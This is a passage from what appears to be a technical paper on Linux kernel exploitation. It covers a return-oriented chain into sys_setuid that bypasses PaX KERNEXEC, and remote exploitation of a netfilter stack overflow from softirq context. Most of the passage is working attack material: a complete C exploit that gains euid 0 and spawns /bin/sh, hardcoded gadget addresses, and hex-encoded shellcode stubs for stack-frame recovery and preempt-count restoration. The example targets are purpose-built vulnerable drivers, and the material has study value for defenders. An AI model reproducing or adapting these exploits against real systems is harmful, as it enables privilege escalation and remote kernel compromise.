PAGE_SIZE*PAGE_NUM, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, fs, 0); if(addr == MAP_FAILED) fatal_errno("mmap", 1); return (char*)addr; } void scan_addr(char *memory) { int i; for(i=1; iaccess, entry->after - entry->before); } void print_result() { int i; for(i=1; imsg_control = ((ancillary + 32*PAGE_SIZE) - sizeof(struct cmsghdr)); msg->msg_controllen = sizeof(struct cmsghdr) * 2; /* set global var thread race ancillary data chunk */ g_ancillary = msg->msg_control; struct cmsghdr* tmp = (struct cmsghdr *)(msg->msg_control); tmp->cmsg_len = sizeof(struct cmsghdr); tmp->cmsg_level = 0; tmp->cmsg_type = 0; tmp++; tmp->cmsg_len = sizeof(struct cmsghdr); tmp->cmsg_level = 0; tmp->cmsg_type = 0; tmp++; memset(tmp, 0x00, 172); } int main() { struct tsc_stamp single_stamp = {0}; struct msghdr msg = {0}; memset(&stamp, 0x00, sizeof(stamp)); int fd = open("/tmp/file", O_RDWR); if(fd == -1) fatal_errno("open", 1); char *addr = flat_file_mmap(fd); fill_ancillary(&msg, addr); munmap(addr, PAGE_SIZE*PAGE_NUM); close(fd); make_kjump(); sync(); printf("Flush all pages and press a enter:)\n"); getchar(); fd = open("/tmp/file", O_RDWR); if(fd == -1) fatal_errno("open", 1); addr = flat_file_mmap(fd); int t_pid = start_thread_priority(race_func, NULL); printf("[*] thread main getpid()=%d\n", getpid()); start_flush_access(addr, 32); int sc[2]; int sp_ret = socketpair(AF_UNIX, SOCK_STREAM, 0, sc); if(sp_ret < 0) fatal_errno("socketpair", 1); single_stamp.access = (uint32_t)g_ancillary; single_stamp.before = tsc(); glob_race =1; sendmsg(sc[0], &msg, 0); single_stamp.after = tsc(); print_single_result(&single_stamp); kill(t_pid, SIGKILL); munmap(addr, PAGE_SIZE*PAGE_NUM); close(fd); return 0; } < / > ------[ 3 - Advanced scenarios In an attempt to ''complete'' our tractation on kernel exploiting we're now going to discuss two 'advanced scenarios' : a stack based kernel exploit capable to bypass PaX [18] KERNEXEC and Userland / Kernelland split and an effective remote exploit, both for the Linux kernel. ---[ 3.1 - PaX KERNEXEC & separated kernel/user space The PaX KERNEXEC option emulates a no-exec bit for pages at kernel land on an architecture which hasn't it (x86), while the User / Kerne Land split blocks the 'return-to-userland' approach that we have extensively described and used in the paper. With those two protections active we're basically facing the same scenario we encountered discussing the Solaris/SPARC environment, so we won't go in more details here (to avoid duplicating the tractation). This time, thou, we won't have any executable and controllable memory area (no u_psargs array), and we're going to present a different tecnique which doesn't require to have one. Even if the idea behind applyes well to any no-exec and separated kernel/userspace environment, as we'll see in a short, this approach is quite architectural (stack management and function call/return implementation) and Operating System (handling of credentials) specific. Moreover, it requires a precise knowledge of the .text layout of the running kernel, so at least a readable image (which is a default situation on many distros, on Solaris, and on other operating systems we checked) or a large or controlled infoleak is necessary. The idea behind is not much different from the theory behind 'ret-into-libc' or other userland exploiting approaches that attempt to circumvent the non executability of heap and stack : as we know, Linux associates credentials to each process in term of numeric values : < linux-2.6.15/include/linux/sched.h > struct task_struct { [...] /* process credentials */ uid_t uid,euid,suid,fsuid; gid_t gid,egid,sgid,fsgid; [...] } < / > Sometimes a process needs to raise (or drop, for security reasons) its credentials, so the kernel exports systemcalls to do that. One of those is sys_setuid : < linux-2.6.15/kernel/sys.c > asmlinkage long sys_setuid(uid_t uid) { int old_euid = current->euid; int old_ruid, old_suid, new_ruid, new_suid; int retval; retval = security_task_setuid(uid, (uid_t)-1, (uid_t)-1, LSM_SETID_ID); if (retval) return retval; old_ruid = new_ruid = current->uid; old_suid = current->suid; new_suid = old_suid; if (capable(CAP_SETUID)) { [1] if (uid != old_ruid && set_user(uid, old_euid != uid) < 0) return -EAGAIN; new_suid = uid; } else if ((uid != current->uid) && (uid != new_suid)) return -EPERM; if (old_euid != uid) { current->mm->dumpable = suid_dumpable; smp_wmb(); } current->fsuid = current->euid = uid; [2] current->suid = new_suid; key_fsuid_changed(current); proc_id_connector(current, PROC_EVENT_UID); return security_task_post_setuid(old_ruid, old_euid, old_suid, LSM_SETID_ID); } < / > As you can see, the 'security' checks (out of the LSM security_* entry points) are performed at [1] and after those, at [2] the values of fsuid and euid are set equal to the value passed to the function. sys_setuid is a system call, so, due to systemcall convention, parameters are passed in register. More precisely, 'uid' will be passed in '%ebx'. The idea is so simple (and not different from 'ret-into-libc' [19] or other userspace page protection evading tecniques like [20]), if we manage to have 0 into %ebx and to jump right in the middle of sys_setuid (and right after the checks) we should be able to change the 'euid' and 'fsuid' of our process and thus raise our priviledges. Let's see the sys_setuid disassembly to better tune our idea : [...] c0120fd0: b8 00 e0 ff ff mov $0xffffe000,%eax [1] c0120fd5: 21 e0 and %esp,%eax c0120fd7: 8b 10 mov (%eax),%edx c0120fd9: 89 9a 6c 01 00 00 mov %ebx,0x16c(%edx) [2] c0120fdf: 89 9a 74 01 00 00 mov %ebx,0x174(%edx) c0120fe5: 8b 00 mov (%eax),%eax c0120fe7: 89 b0 70 01 00 00 mov %esi,0x170(%eax) c0120fed: 6a 01 push $0x1 c0120fef: 8b 44 24 04 mov 0x4(%esp),%eax c0120ff3: 50 push %eax c0120ff4: 55 push %ebp c0120ff5: 57 push %edi c0120ff6: e8 65 ce 0c 00 call c01ede60 c0120ffb: 89 c2 mov %eax,%edx c0120ffd: 83 c4 10 add $0x10,%esp [3] c0121000: 89 d0 mov %edx,%eax c0121002: 5e pop %esi c0121003: 5b pop %ebx c0121004: 5e pop %esi c0121005: 5f pop %edi c0121006: 5d pop %ebp c0121007: c3 ret At [1] the current process task_struct is taken from the kernel stack value. At [2] the %ebx value is copied over the 'euid' and 'fsuid' members of the struct. We have our return address, which is [1]. At that point we need to force somehow %ebx into being 0 (if we're not lucky enough to have it already zero'ed). To demonstrate this vulnerability we have used the local exploitable buffer overflow in dummy.c driver (KERN_IOCTL_STORE_CHUNK ioctl() command). Since it's a stack based overflow we can chain multiple return address preparing a fake stack frame that we totally control. We need : - a zero'ed %ebx : the easiest way to achieve that is to find a pop %ebx followed by a ret instruction [we control the stack] : ret-to-pop-ebx: [*] c0100cd3: 5b pop %ebx [*] c0100cd4: c3 ret we don't strictly need pop %ebx directly followed by ret, we may find a sequence of pops before the ret (and, among those, our pop %ebx). It is just a matter of preparing the right ZERO-layout for the pop sequence (to make it simple, add a ZERO 4-bytes sequence for any pop between the %ebx one and the ret) - the return addr where to jump, which is the [1] address shown above - a 'ret-to-ret' padding to take care of the stack gap created at [3] by the function epilogue (%esp adding and register popping) : ret-to-ret pad: [*] 0xffffe413 c3 ret (we could have used the above ret aswell, this one is into vsyscall page and was used in other exploit where we didn't need so much knowledge of the kernel .text.. it survived here :) ) - the address of an iret instruction to return to userland (and a crafted stack frame for it, as we described above while discussing 'Stack Based' explotation) : ret-to-iret: [*] c013403f: cf iret Putting all together this is how our 'stack' should look like to perform a correct explotation : low addresses +----------------+ | ret-to-ret pad | | ret-to-ret pad | | .............. | | ret-to-pop ebx | | 0x00000000 | | ret-to-setuid | | ret-to-ret pad | | ret-to-ret pad | | ret-to-ret pad | | ............. | | ............. | | ret-to-iret | | fake-iret-frame| +----------------+ high addresses Once correctly returned to userspace we have successfully modified 'fsuid' and 'euid' value, but our 'ruid' is still the original one. At that point we simply re-exec ourselves to get euid=0 and then spawn the shell. Code follows : < stuff/expl/grsec_noexec.c > #include #include #include #include #include #include #include #include #include #include "dummy.h" #define DEVICE "/dev/dummy" #define NOP 0x90 #define PAGE_SIZE 0x1000 #define STACK_SIZE 8192 //#define STACK_SIZE 4096 #define STACK_MASK ~(STACK_SIZE -1) /* patch it at runtime */ #define ALTERNATE_STACK 0x00BBBBBB /*2283d*/ #define RET_INTO_RET_STR "\x3d\x28\x02\x00" #define DUMMY RET_INTO_RET_STR #define ZERO "\x00\x00\x00\x00" /* 22ad3 */ #define RET_INTO_POP_EBX "\xd3\x2a\x02\x00" /* 1360 */ #define RET_INTO_IRET "\x60\x13\x00\x00" /* 227fc */ #define RET_INTO_SETUID "\xfc\x27\x02\x00" // do_eip at .text offset (rivedere) // 0804864f #define USER_CODE_OFFSET "\x4f\x86\x04\x08" #define USER_CODE_SEGMENT "\x73\x00\x00\x00" #define USER_EFLAGS "\x46\x02\x00\x00" #define USER_STACK_OFFSET "\xbb\xbb\xbb\x00" #define USER_STACK_SEGMENT "\x7b\x00\x00\x00" /* sys_setuid - grsec kernel */ /* 227fc: 89 e2 mov %esp,%edx 227fe: 89 f1 mov %esi,%ecx 22800: 81 e2 00 e0 ff ff and $0xffffe000,%edx 22806: 8b 02 mov (%edx),%eax 22808: 89 98 50 01 00 00 mov %ebx,0x150(%eax) 2280e: 89 98 58 01 00 00 mov %ebx,0x158(%eax) 22814: 8b 02 mov (%edx),%eax 22816: 89 fa mov %edi,%edx 22818: 89 a8 54 01 00 00 mov %ebp,0x154(%eax) 2281e: c7 44 24 18 01 00 00 movl $0x1,0x18(%esp) 22825: 00 22826: 8b 04 24 mov (%esp),%eax 22829: 5d pop %ebp 2282a: 5b pop %ebx 2282b: 5e pop %esi 2282c: 5f pop %edi 2282d: 5d pop %ebp 2282e: e9 ef d5 0c 00 jmp efe22 22833: 83 ca ff or $0xffffffff,%edx 22836: 89 d0 mov %edx,%eax 22838: 5f pop %edi 22839: 5b pop %ebx 2283a: 5e pop %esi 2283b: 5f pop %edi 2283c: 5d pop %ebp 2283d: c3 ret */ /* pop %ebx, ret grsec * * ffd1a884: 5b pop %ebx * ffd1a885: c3 ret */ char *g_prog_name; char kern_noexec_shellcode[] = RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_POP_EBX ZERO RET_INTO_SETUID RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_IRET USER_CODE_OFFSET USER_CODE_SEGMENT USER_EFLAGS USER_STACK_OFFSET USER_STACK_SEGMENT ; void re_exec(int useless) { char *a[3] = { g_prog_name, "exec", NULL }; execve(g_prog_name, a, NULL); } char *allocate_jump_stack(unsigned int jump_addr, unsigned int size) { unsigned int round_addr = jump_addr & 0xFFFFF000; unsigned int diff = jump_addr - round_addr; unsigned int len = (size + diff + 0xFFF) & 0xFFFFF000; char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); if(map_addr == (char*)-1) return NULL; memset(map_addr, 0x00, len); return map_addr; } char *allocate_jump_code(unsigned int jump_addr, void* code, unsigned int size) { unsigned int round_addr = jump_addr & 0xFFFFF000; unsigned int diff = jump_addr - round_addr; unsigned int len = (size + diff + 0xFFF) & 0xFFFFF000; char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, 0, 0); if(map_addr == (char*)-1) return NULL; memset(map_addr, NOP, len); memcpy(map_addr+diff, code, size); return map_addr + diff; } inline void patch_code_4byte(char *code, unsigned int offset, unsigned int value) { *((unsigned int *)(code + offset)) = value; } int main(int argc, char *argv[]) { if(argc > 1) { int ret; char *argvx[] = {"/bin/sh", NULL}; ret = setuid(0); printf("euid=%d, ret=%d\n", geteuid(), ret); execve("/bin/sh", argvx, NULL); exit(1); } signal(SIGSEGV, re_exec); g_prog_name = argv[0]; char *stack_jump = allocate_jump_stack(ALTERNATE_STACK, PAGE_SIZE); if(!stack_jump) { fprintf(stderr, "Exiting: mmap failed"); exit(1); } char *memory = malloc(PAGE_SIZE), *mem_orig; mem_orig = memory; memset(memory, 0xDD, PAGE_SIZE); struct device_io_ctl *ptr = (struct device_io_ctl*)memory; ptr->chunk_num = 9 + (sizeof(kern_noexec_shellcode)-1)/sizeof(struct device_io_blk) + 1; printf("Chunk num: %d\n", ptr->chunk_num); ptr->type = 0xFFFFFFFF; memory += (sizeof(struct device_io_ctl) + sizeof(struct device_io_blk) * 9); /* copy shellcode */ memcpy(memory, kern_noexec_shellcode, sizeof(kern_noexec_shellcode)-1); int i, fd = open(DEVICE, O_RDONLY); if(fd < 0) return 0; ioctl(fd, KERN_IOCTL_STORE_CHUNK, (unsigned long)mem_orig); return 0; } < / > As we said, we have chosen the PaX security patches for Linux/x86, but some of the theory presented equally works well in other situation. A slightly different exploiting approach was successfully used on Solaris/SPARC. (we leave it as an 'exercise' for the reader ;)) ---[ 3.2 - Remote Kernel Exploiting Writing a working and somehow reliable remote kernel exploit is an exciting and interesting challenge. Keeping on with the 'style' of this paper we're going to propose here a couple of tecniques and 'life notes' that leaded us into succeeding into writing an almost reliable, image independant and effective remote exploit. After the first draft of this paper, a couple of things changed, so some of the information presented here could be outdated in the very latest kernels (and compiler releases), but are anyway a good base for the tractation (we've added notes all around this chapter about changes and updates into the recent releases of the linux kernel). A couple of the ideas presented here converged into a real remote exploit for the madwifi remote kernel stack buffer overflow [21], that we already released [22], without examining too much in detail the explotation approaches used. This chapter can be thus seen both as the introduction and the extension of that work. More precisely we will cover here also the exploiting issues and solution when dealing with code running in interrupt context, which is the most common running mode for network based code (interrupt handler, softirq, etc) but which wasn't the case for the madwifi exploit. The same ideas apply well to kernel thread context too. Explotation tecniques and discussion is based on stack based buffer overflow on the Linux 2.6.* branch of kernels on the x86 architecture, but can be reused in most of the conditions that lead us to take control over the instruction flow. ------[ 3.2.1 - The Network Contest We begin with a few considerations about the typology of kernel code that we'll be dealing with. Most of that code runs in interrupt context (and sometimes in a kernel thread context), so we have some 'limitations' : - we can't directly 'return-to-userspace', since we don't have a valid current task pointer. Moreover, most of times, we won't control the address space of the userland process we talk with. Netherless we can relay on some 'fixed' points, like the ELF header (given there's no PIE / .text randomization on the remote box) - we can't perform any action that might make the kernel path to sleep (for example a memory fault access) - we can't directly call a system call - we have to take in account kernel resource management, since such kind of kernel paths usually acquire spinlocks or disables pre-emption. We have to restore them in a stable state. Logically, since we are from remote, we don't have any information about structs or kernel paths addresses, so, since a good infoleaking is usually a not very probable situation, we can't rely on them. We have prepared a crafted example that will let us introduce all the tecniques involved to solve the just stated problems. We choosed to write a netfilter module, since quite a lot of the network kernel code depends on it and it's the main framework for third part modules. < stuff/drivers/linux/remote/dummy_remote.c > #define MAX_TWSKCHUNK 30 #define TWSK_PROTO 37 struct twsk_chunk { int type; char buff[12]; }; struct twsk { int chunk_num; struct twsk_chunk chunk[0]; }; static int process_twsk_chunk(struct sk_buff *buff) { struct twsk_chunk chunks[MAX_TWSKCHUNK]; struct twsk *ts = (struct twsk *)((char*)buff->nh.iph + (buff->nh.iph->ihl * 4)); if(ts->chunk_num > MAX_TWSKCHUNK) [1] return (NF_DROP); printk(KERN_INFO "Processing TWSK packet: packet frame n. %d\n", ts->chunk_num); memcpy(chunks, ts->chunk, sizeof(struct twsk_chunk) * ts->chunk_num); [2] // do somethings.. return (NF_ACCEPT); } < / > We have a signedness issue at [1], which triggers a later buffer overflow at [2], writing past the local 'chunks' buffer. As we just said, we must know everything about the vulnerable function, that is, when it runs, under which 'context' it runs, what calls what, how would the stack look like, if there are spinlocks or other control management objects acquired, etc. A good starting point is dumping a stack trace at calling time of our function : #1 0xc02b5139 in nf_iterate (head=0xc042e4a0, skb=0xc1721ad0, hook=0, [1] indev=0xc1224400, outdev=0x0, i=0xc1721a88, okfn=0xc02bb150 , hook_thresh=-2147483648) at net/netfilter/core.c:89 #2 0xc02b51b9 in nf_hook_slow (pf=2, hook=1, pskb=0xc1721ad0, [2] indev=0xc1224400, outdev=0x0, okfn=0xc02bb150 , hook_thresh=-2147483648) at net/netfilter/core.c:125 #3 0xc02baee3 in ip_rcv (skb=0xc1bc4a40, dev=0xc1224400, pt=0xc0399310, orig_dev=0xc1224400) at net/ipv4/ip_input.c:348 #4 0xc02a5432 in netif_receive_skb (skb=0xc1bc4a40) at net/core/dev.c:1657 #5 0xc024d3c2 in rtl8139_rx (dev=0xc1224400, tp=0xc1224660, budget=64) at drivers/net/8139too.c:2030 #6 0xc024d70e in rtl8139_poll (dev=0xc1224400, budget=0xc1721b78) at drivers/net/8139too.c:2120 #7 0xc02a5633 in net_rx_action (h=0xc0417078) at net/core/dev.c:1739 #8 0xc0118a75 in __do_softirq () at kernel/softirq.c:95 #9 0xc0118aba in do_softirq () at kernel/softirq.c:129 [3] #10 0xc0118b7d in irq_exit () at kernel/softirq.c:169 #11 0xc0104212 in do_IRQ (regs=0xc1721ad0) at arch/i386/kernel/irq.c:110 #12 0xc0102b0a in common_interrupt () at current.h:9 #13 0x0000110b in ?? () Our vulnerable function (just like any other hook) is called serially by the nf_iterate one [1], during the processing of a softirq [3], through the netfilter core interface nf_hook_slow [2]. It is installed in the INPUT chain and, thus, it starts processing packets whenever they are sent to the host box, as we see from [2] where pf = 2 (PF_INET) and hook = 1 (NF_IP_LOCAL_IN). Our final goal is to execute some kind of code that will estabilish a connection back to us (or bind a port to a shell, or whatever kind of shellcoding you like more for your remote exploit). Trying to execute it directly from kernel land is obviously a painful idea so we need to hijack some userland process (remember that we are on top of a softirq, so we have no clue about what's really beneath us; it could equally be a kernel thread or the idle task, for example) as our victim, to inject some code inside and force the kernel to call it later on, when we're out of an asyncronous event. That means that we need an intermediary step between taking the control over the flow at 'softirq time' and execute from the userland process. But let's go on order, first of all we need to _start executing_ at least the entry point of our shellcode. As it is nowadays used in many exploit that have to fight against address space randomization in the absence of infoleaks, we look for a jump to a jmp *%esp or push reg/ret or call reg sequence, to start executing from a known point. To avoid guessing the right return value a nop-alike padding of ret-into-ret addresses can be used. But we still need to find those opcodes in a 'fixed' and known place. The 2.6. branch of kernel introduced a fixed page [*] for the support of the 'sysenter' instruction, the 'vsyscall' one : bfe37000-bfe4d000 rwxp bfe37000 00:00 0 [stack] ffffe000-fffff000 ---p 00000000 00:00 0 [vdso] which is located at a fixed address : 0xffffe000 - 0xfffff000. [*] At time of release this is no more true on latest kernels, since the address of the vsyscall page is randomized starting from the 2.6.18 kernel. The 'vsyscall' page is a godsend for our 'entry point' shellcode, since we can locate inside it the required opcodes [*] to start executing : (gdb) x/i 0xffffe75f 0xffffe75f: jmp *%esp (gdb) x/i 0xffffe420 0xffffe420: ret [*] After testing on a wide range of kernels/compilers the addresses of those opcodes we discovered that sometimes they were not in the expected place or, even, in one case, not present. This could be the only guessing part you could be facing (also due to vsyscall randomization, as we said in the note before), but there are (depending on situations) other possibilities [fixed start of the kernel image, fixed .text of the 'running process' if out of interrupt context, etc]. To better figure out how the layout of the stack should be after the overflow, here there's a small schema : +-------------+ | | | | | JMP -N |-------+ # N is the size of the buffer plus some bytes | | | (ret-to-ret chain + jmp space) | | | | ret-to-jmp |<-+ | # the address of the jmp *%esp inside vsyscall | | | | | ......... | -+ | | | | | | ret-to-ret | -+ | # the address of 'ret' inide vsyscall | | | | | ret-to-ret | -+ | | | | | overwritten | | # ret-to-ret padding starting from there | ret address | | | | | | | | | ^ | | | | | | # shellcode is placed inside the buffer | | | because it's huge, but it could also be | shellcode | | splitted before and after the ret addr. | nop | | | nop |<------+ +-------------+ At that point we control the flow, but we're still inside the softirq, so we need to perform a couple of tasks to cleanly get our connect back shellcode executed : - find a way to cleanly get out from the softirq, since we trashed the stack - locate the resource management objects that have been modified (if the've been) and restore them to a safe state - find a place where we can store our shellcode untill later execution from a 'process context' kernel path. - find a way to force the before mentioned kernel path to execute our shellcode The first step is the most difficult one (and wasn't necessary in the madwifi exploit, since we weren't in interrupt context), because we've overwritten the original return pointer and we have no clue about the kernel text layout and addresses. We're going now to present tecniques and a working shellcode for each one of the above points. [ Note that we have mentioned them in a 'conceptual order of importance', which is different from the real order that we use inside the exploit. More precisely, they are almost in reverse order, since the last step performed by our shellcode is effectively getting out from the softirq. We felt that approach more well-explanatory, just remember that note during the following sub-chapters] ------[ 3.2.2 - Stack Frame Flow Recovery The goal of this tecnique is to unroll the stack, looking for some known pattern and trying to reconstruct a caller stack frame, register status and instruction pointing, just to continue over with the normal flow. We need to restore the stack pointer to a known and consistent state, restore register contents so that the function flow will exit cleanily and restore any lock or other syncronization object that was modified by the functions among the one we overflowed in and the one we want to 'return to'. Our stack layout (as seen from the dump pasted above) would basically be that one : stack layout +---------------------+ bottom of stack | | | do_softirq() | | .......... | /* nf_hook_slow() stack frame */ | .......... | +------------------------+ | | | argN | | | | ... | | ip_rcv | | arg2 | | nf_hook_slow | =========> | arg1 | | ip_rcv_finish | | ret-to-(ip_rcv()) | | nf_iterate | | saved reg1 | | | | saved reg2 | | | | ...... | | .............. | +------------------------+ | .............. | | process_twsk_chunk | | | +---------------------+ top of stack As we said, we need to locate a function in the previous stack frames, not too far from our overflowing one, having some 'good pattern' that would help us in our search. Our best bet, in that situation, is to check parameter passing : #2 0xc02b51b9 in nf_hook_slow (pf=2, hook=1, pskb=0xc1721ad0, indev=0xc1224400, outdev=0x0, ....) The 'nf_hook_slow()' function has a good 'signature' : - two consecutive dwords 0x00000002 and 0x00000002 - two kernel pointers (dword > 0xC0000000) - a following NULL dword We can relay on the fact that this pattern would be a constant, since we're in the INPUT chain, processing incoming packets, and thus always having a NULL 'outdev', pf = 2 and hook = 1. Parameters passing is logically not the only 'signature' possible : depending on situations you could find a common pattern in some local variable (which would be even a better one, because we discovered that some versions of GCC optimize out some parameters, passing them through registers). Scanning backward the stack from the process_twsk_chunk() frame up to the nf_hook_slow() one, we can later set the %esp value to the place where is saved the return address of nf_hook_slow(), and, once recreated the correct conditions, perform a 'ret' that would let us exit cleanily. We said 'once recreated the correct conditions' because the function could expect some values inside registers (that we have to set) and could expect some 'lock' or 'preemption set' different from the one we had at time of overflowing. Our task is thus to emulate/restore all those requirements. To achieve that, we can start checking how gcc restores registers during function epilogue : c02b6b30 : c02b6b30: 55 push %ebp c02b6b31: 57 push %edi c02b6b32: 56 push %esi c02b6b33: 53 push %ebx [...] c02b6bdb: 89 d8 mov %ebx,%eax c02b6bdd: 5a pop %edx ==+ c02b6bde: 5b pop %ebx | c02b6bdf: 5e pop %esi | restore c02b6be0: 5f pop %edi | c02b6be1: 5d pop %ebp =+ c02b6be2: c3 ret This kind of epilogue, which is common for non-short functions let us recover the state of the saved register. Once we have found the 'ret' value on the stack we can start 'rolling back' counting how many 'pop' are there inside the text to correctly restore those register. [*] [*] This is logically not the only possibility, one could set directly the values via movl, but sometimes you can't use 'predefined' values for those register. As a side note, some versions of the gcc compiler don't use the push/pop prologue/epilogue, but translate the code as a sequence of movl (which need a different handling from the shellcode). To correctly do the 'unrolling' (and thus locate the pop sequence), we need the kernel address of 'nf_hook_slow()'. This one is not hard to calculate since we have already found on the stack its return addr (thanks to the signature pointed out before). Once again is the intel calling procedures convention which help us : [...] c02bc8bd: 6a 02 push $0x2 c02bc8bf: e8 6c a2 ff ff call c02b6b30 c02bc8c4: 83 c4 1c add $0x1c,%esp [...] That small snippet of code is taken from ip_rcv(), which is the function calling nf_hook_slow(). We have found on the stack the return address, which is 0xc02bc8c4, so calculating the nf_hook_slow address is just a matter of calculating the 'displacement' used in the relative call (opcode 0xe8, the standard calling convention on kernel gcc-compiled code) and adding it to the return addr value (INTEL relative call convention adds the displacement to the current EIP) : [*] call to nf_hook_slow -> 0xe8 0x6c 0x2a 0xff 0xff [*] nf_hook_slow address -> 0xc02bc8c4 + 0xffffa26c = 0xc02b6b30 To better understand the whole Stack Frame Flow Recovery approach here's the shellcode stub doing it, with short comments : - Here we increment the stack pointer with the 'pop %eax' sequence and test for the known signature [ 0x2 0x1 X X 0x0 ]. loop: "\x58" // pop %eax "\x83\x3c\x24\x02" // cmpl $0x2,(%esp) "\x75\xf9" // jne loop "\x83\x7c\x24\x04\x01" // cmpl $0x1,0x4(%esp) "\x75\xf2" // jne loop "\x83\x7c\x24\x10\x00" // cmpl $0x0,0x10(%esp) "\x75\xeb" // jne loop "\x8d\x64\x24\xfc" // lea 0xfffffffc(%esp),%esp - get the return address, subtract 4 bytes and deference the pointer to get the nf_hook_slow() offset/displacement. Add it to the return address to obtain the nf_hook_slow() address. "\x8b\x04\x24" // mov (%esp),%eax "\x89\xc3" // mov %eax,%ebx "\x03\x43\xfc" // add 0xfffffffc(%ebx),%eax - locate the 0xc3 opcode inside nf_hook_slow(), eliminating 'spurious' 0xc3 bytes. In this shellcode we do a simple check for 'movl' opcodes and that's enough to avoid 'false positive'. With a larger shellcode one could write a small disassembly routine that would let perform a more precise locating of the 'ret' and 'pop' [see later]. increment: "\x40" // inc %eax "\x8a\x18" // mov (%eax),%bl "\x80\xfb\xc3" // cmp $0xc3,%bl "\x75\xf8" // jne increment "\x80\x78\xff\x88" // cmpb $0x88,0xffffffff(%eax) "\x74\xf2" // je increment "\x80\x78\xff\x89" // cmpb $0x89,0xffffffff(%eax) "\x74\xec" // je 8048351 increment - roll back from the located 'ret' up to the last pop instruction, if any and count the number of 'pop's. pop: "\x31\xc9" // xor %ecx,%ecx "\x48" // dec %eax "\x8a\x18" // mov (%eax),%bl "\x80\xe3\xf0" // and $0xf0,%bl "\x80\xfb\x50" // cmp $0x50,%bl "\x75\x03" // jne end "\x41" // inc %ecx "\xeb\xf2" // jmp pop "\x40" // inc %eax - use the calculated byte displacement from ret to rollback %esp value "\x89\xc6" // mov %eax,%esi "\x31\xc0" // xor %eax,%eax "\xb0\x04" // mov $0x4,%al "\xf7\xe1" // mul %ecx "\x29\xc4" // sub %eax,%esp - set the return value "\x31\xc0" // xor %eax,%eax - call the nf_hook_slow() function epilog "\xff\xe6" // jmp *%esi It is now time to pass to the 'second step', that is restore any pending lock or other synchronization object to a consistent state for the nf_hook_slow() function. ---[ 3.2.3 - Resource Restoring At that phase we care of restoring those resources that are necessary for the 'hooked return function' (and its callers) to cleanly get out from the softirq/interrupt state. Let's take another (closer) look at nf_hook_slow() : < linux-2.6.15/net/netfilter/core.c > int nf_hook_slow(int pf, unsigned int hook, struct sk_buff **pskb, struct net_device *indev, struct net_device *outdev, int (*okfn)(struct sk_buff *), int hook_thresh) { struct list_head *elem; unsigned int verdict; int ret = 0; /* We may already have this, but read-locks nest anyway */ rcu_read_lock(); [1] [...] unlock: rcu_read_unlock(); [2] return ret; [3] } < / > At [1] 'rcu_read_lock()' is invoked/acquired, but [2] 'rcu_read_unlock()' is never performed, since at the 'Stack Frame Flow Recovery' step we unrolled the stack and jumped back at [3]. 'rcu_read_unlock()' is just an alias of preempt_enable(), which, in the end, results in a one-decrement of the preempt_count value inside the thread_info struct : < linux-2.6.15/include/linux/rcupdate.h > #define rcu_read_lock() preempt_disable() [...] #define rcu_read_unlock() preempt_enable() < / > < linux-2.6.15/include/linux/preempt.h > # define add_preempt_count(val) do { preempt_count() += (val); } while (0) # define sub_preempt_count(val) do { preempt_count() -= (val); } while (0) [...] #define inc_preempt_count() add_preempt_count(1) #define dec_preempt_count() sub_preempt_count(1) #define preempt_count() (current_thread_info()->preempt_count) #ifdef CONFIG_PREEMPT asmlinkage void preempt_schedule(void); #define preempt_disable() \ do { \ inc_preempt_count(); \ barrier(); \ } while (0) #define preempt_enable_no_resched() \ do { \ barrier(); \ dec_preempt_count(); \ } while (0) #define preempt_check_resched() \ do { \ if (unlikely(test_thread_flag(TIF_NEED_RESCHED))) \ preempt_schedule(); \ } while (0) #define preempt_enable() \ do { \ preempt_enable_no_resched(); \ barrier(); \ preempt_check_resched(); \ } while (0) #else #define preempt_disable() do { } while (0) #define preempt_enable_no_resched() do { } while (0) #define preempt_enable() do { } while (0) #define preempt_check_resched() do { } while (0) #endif < / > As you can see, if CONFIG_PREEMPT is not set, all those operations are just no-ops. 'preempt_disable()' is nestable, so it can be called multiple times (preemption will be disabled untill we call 'preempt_enable()' the same number of times). That means that, given a PREEMPT kernel, we should find a value equal or greater to '1' inside preempt_count at 'exploit time'. We can't just ignore that value or otherwise we'll BUG() later on inside scheduler code (check preempt_schedule_irq() in kernel/sched.c). What we have to do, on a PREEMPT kernel, is thus locate 'preempt_count' and decrement it, just like 'rcu_read_unlock()' would do. For the x86 architecture , 'preempt_count' is stored inside the 'struct thread_info' : < linux-2.6.15/include/asm-i386/thread_info.h > struct thread_info { struct task_struct *task; /* main task structure */ struct exec_domain *exec_domain; /* execution domain */ unsigned long flags; /* low level flags */ unsigned long status; /* thread-synchronous flags */ __u32 cpu; /* current CPU */ int preempt_count; /* 0 => preemptable, <0 => BUG */ mm_segment_t addr_limit; /* thread address space: 0-0xBFFFFFFF for user-thead 0-0xFFFFFFFF for kernel-thread */ [...] < / > Let's see how we get to it : - locate the thread_struct "\x89\xe0" // mov %esp,%eax "\x25\x00\xe0\xff\xff" // and $0xffffe000,%eax - scan the thread_struct to locate the addr_limit value. This value is a good fingerprint, since it is 0xc0000000 for an userland process and 0xffffffff for a kernel thread (or the idle task). [note that this kind of scan can be used to figure out in which kind of process we are, something that could be very important in some scenario] /* scan: */ "\x83\xc0\x04" // add $0x4,%eax "\x8b\x18" // mov (%eax),%ebx "\x83\xfb\xff" // cmp $0xffffffff,%ebx "\x74\x0a" // je 804851e "\x81\xfb\x00\x00\x00\xc0" // cmp $0xc0000000,%ebx "\x74\x02" // je 804851e "\xeb\xec" // jmp 804850a - decrement the 'preempt_count' value [which is just the member above the addr_limit one] /* end: */ "\xff\x48\xfc" // decl 0xfffffffc(%eax) To improve further the shellcode it would be a good idea to perform a test over the 